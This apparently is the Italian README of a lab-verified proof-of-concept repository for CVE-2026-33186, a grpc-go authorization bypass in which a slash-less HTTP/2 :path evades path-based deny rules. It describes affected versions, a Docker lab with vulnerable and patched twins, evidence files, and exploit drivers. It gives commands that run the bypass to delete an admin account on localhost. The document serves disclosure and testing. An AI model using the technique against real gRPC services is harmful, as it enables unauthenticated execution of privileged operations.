CVE-2026-33186 (grpc-go): bypass dell'autorizzazione tramite un :path HTTP/2 senza slash -- dimostrazione b63, verificata in laboratorio con negativi patchati e con configurazione
:path in grpc-goUn metodo gRPC privilegiato e negato viene eseguito per un chiamante non autenticato quando lo pseudo-header HTTP/2 :path omette la barra iniziale obbligatoria.
PoC verificato in laboratorio, un laboratorio Docker a due gemelli (grpc-go v1.79.2 vulnerabile / v1.79.3 corretta), e le trascrizioni delle evidenze per ogni affermazione riportata di seguito.
Il server di grpc-go rimuove la barra iniziale da :path solo quando è presente, poi effettua lo split sull'ultima /. Un percorso come admin.v1.Admin/DeleteUser viene quindi comunque instradato al servizio e al metodo corretti -- ma l'autorizzazione basata sul percorso vede la stringa grezza, non canonica. Una policy che nega un percorso canonico e consente tutto il resto per impostazione predefinita non trova mai corrispondenza con la regola di negazione, quindi l'RPC negato viene eseguito.
In questo laboratorio il metodo negato è admin.v1.Admin/DeleteUser su una policy della stessa forma descritta nell'advisory (una regola di negazione su /admin.v1.Admin/DeleteUser più un fallback allow-all). L'attaccante elimina l'account amministratore root-admin senza mai autenticarsi.
| CVE | CVE-2026-33186 |
| GHSA | GHSA-p77j-4mvh-x3m3 (grpc/grpc-go) |
| Classe | CWE-285 autorizzazione impropria; Red Hat registra anche CWE-551 (autorizzazione prima del parsing/canonicalizzazione) |
| CVSS 3.1 | 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (come pubblicato) |
| Affette | google.golang.org/grpc < 1.79.3 |
| Corretta | v1.79.3 -- commit 72186f163e, PR #8981 |
Precondizioni (entrambe richieste, secondo l'advisory): l'autorizzazione è basata sul percorso (grpc/authz, oppure un interceptor personalizzato che legge grpc.Method(ctx) / il FullMethod di uno stream interceptor), e la policy nega percorsi canonici specifici consentendo il resto per impostazione predefinita.
Una sfumatura che vale la pena esplicitare perché è facile sbagliarla: sui gestori unary generati da protoc, UnaryServerInfo.FullMethod è una costante in fase di compilazione, quindi un unary interceptor che legge solo quel campo vede il percorso canonico e non è aggirato. I lettori vulnerabili sono grpc.Method(ctx), il pacchetto grpc/authz e gli stream interceptor. Il laboratorio rispecchia la semantica degli stub generati e registra entrambi i valori affiancati (evidenze 01, 04).
Tutto quanto segue è stato catturato in questo laboratorio. "Catturato" significa che la trascrizione è inclusa; nulla di quanto qui riportato è affermato dalla sola lettura dell'advisory. L'insieme evidence/ è stato ricatturato da un clone pulito di questo repository al suo tip corrente (dopo che la revisione ha rilevato che il primo insieme era ancorato all'albero di authoring privato), quindi ogni riga Command: è un comando che un lettore può eseguire dalla radice del repository; MANIFEST.txt è l'inventario sha256 dell'albero di rilascio.
| claim | livello | evidenza |
|---|---|---|
| Due build di un unico albero dei sorgenti: grpc-go v1.79.2 (vulnerabile) e v1.79.3 (corretta), fissate tramite il commit del tag, identità incorporata e riletta dai container in esecuzione | acquisita | evidence/01-lab-identity.txt |
Un client grpc-go standard (cc.Invoke con una stringa di metodo senza slash) riproduce il bypass: metodo canonico -> PermissionDenied, senza slash -> la cancellazione dell'account negato | acquisita | evidence/02-impact-go-stock-client.txt |
Driver HTTP/2 grezzo (poc/exploit_opt.py, una singola connessione TCP): gamba di controllo negata, il bypass elimina root-admin, ricevuta con nonce corrispondente + stato successivo | acquisita | evidence/03-impact-opt-driver.txt |
Lo stesso tramite il driver annotato (poc/exploit_readable.py) | acquisita | evidence/04-impact-readable-driver.txt |
La v1.79.3 corretta rifiuta con grpc-status 12 Unimplemented prima degli interceptor; grpc-core regista il proprio rifiuto; archivio invariato | acquisita | evidence/05-negative-patched.txt |
Gamba di configurazione: il binario v1.79.3 identico byte per byte con GRPC_GO_EXPERIMENTAL_DISABLE_STRICT_PATH_CHECKING=true ripristina il bypass | acquisita | evidence/06-config-escape-hatch.txt |
| Matrice a quattro gambe, entrambi i driver (vulnerabile / corretta / configurazione / porta chiusa) | acquisita | evidence/07-matrix-four-legs.txt |
| Affidabilità, gemello vulnerabile: 10/10 successi (opt) e 5/5 (readable), laboratorio nuovo a ogni esecuzione | acquisita | evidence/08-reliability-vulnerable.txt |
| Affidabilità, gemello corretto: 0/10 e 0/5 -- nessun falso positivo | acquisita | evidence/09-reliability-patched.txt |
| Controllo non vacuo: su un binario vulnerabile la cui policy non ha regole di deny, entrambi i driver rifiutano di dichiarare un successo; codici di uscita 0/1/2/3 esercitati dal vivo | acquisita | evidence/10-control-nonvacuity-exit-codes.txt |
| Un target mendace (stato 0 con una ricevuta plausibile ma non verificabile) fa uscire entrambi i driver con codice 1 | acquisita | evidence/11-receipt-validation-lying-target.txt |
Non dichiarato: esecuzione di codice (gRPC non offre alcuna primitiva di shell per questa classe), versioni diverse dalle due fissate sopra, e il livello di autenticazione di qualsiasi distribuzione reale.
poc/
go_stock_client/ # primary driver: a stock grpc-go client (Go)
exploit_opt.py # raw HTTP/2 driver, compact (python-h2)
exploit_readable.py # raw HTTP/2 driver, staged and annotated (python-h2)
tests/ # fake gRPC target + post-condition test runner
lab/
build.sh # clones grpc-go v1.79.2 / v1.79.3, builds both twins
compose.yml # vulnerable / patched / config-escape-hatch / control
runtime.Dockerfile
server-src/main.go # the twin server (grpc/authz policy + 2 services)
server-assets/ # policies, seed roster, entrypoint
harness/
matrix.sh # four-leg matrix
reliability.sh # N-run loop, fresh lab per run
verify-exitcodes.sh # control non-vacuity + exit-code table
evidence/ # captured transcripts (path-scrubbed, see below)
Ogni comando riportato di seguito è indirizzato a container 127.0.0.1 creati da questo repo. Non puntare nulla di tutto ciò verso un sistema che non possiedi o per cui non hai un'autorizzazione scritta a testare.
python3 -m venv .venv && .venv/bin/pip install h2 # for the python drivers
cd lab && ./build.sh # clones the two grpc-go tags
docker compose build
docker compose up -d --force-recreate
Quattro servizi solo su loopback:
| porta | ruolo | build |
|---|---|---|
| 19130 | vulnerabile | grpc-go v1.79.2 |
| 19131 | con patch | grpc-go v1.79.3 |
| 19132 | via di fuga tramite configurazione | v1.79.3 + GRPC_GO_EXPERIMENTAL_DISABLE_STRICT_PATH_CHECKING=true |
| 19133 | controllo | v1.79.2 con una policy allow-all (nessuna regola di deny) |
Nessun frame raw, nessuna libreria HTTP/2 -- un normale grpc.NewClient + cc.Invoke, con
la stringa del metodo priva della barra iniziale:
(cd poc/go_stock_client && go build -o stockclient .)
# canonical method -> the deny rule fires
poc/go_stock_client/stockclient 127.0.0.1:19130 /admin.v1.Admin/DeleteUser b11-victim-1
# INVOKE_ERROR: rpc error: code = PermissionDenied desc = unauthorized RPC request rejected
# slash-less method -> the denied RPC executes
poc/go_stock_client/stockclient 127.0.0.1:19130 admin.v1.Admin/DeleteUser b11-victim-2
# INVOKE_OK: {"by_method":"admin.v1.Admin/DeleteUser","deleted_user":"b11-victim-2",...}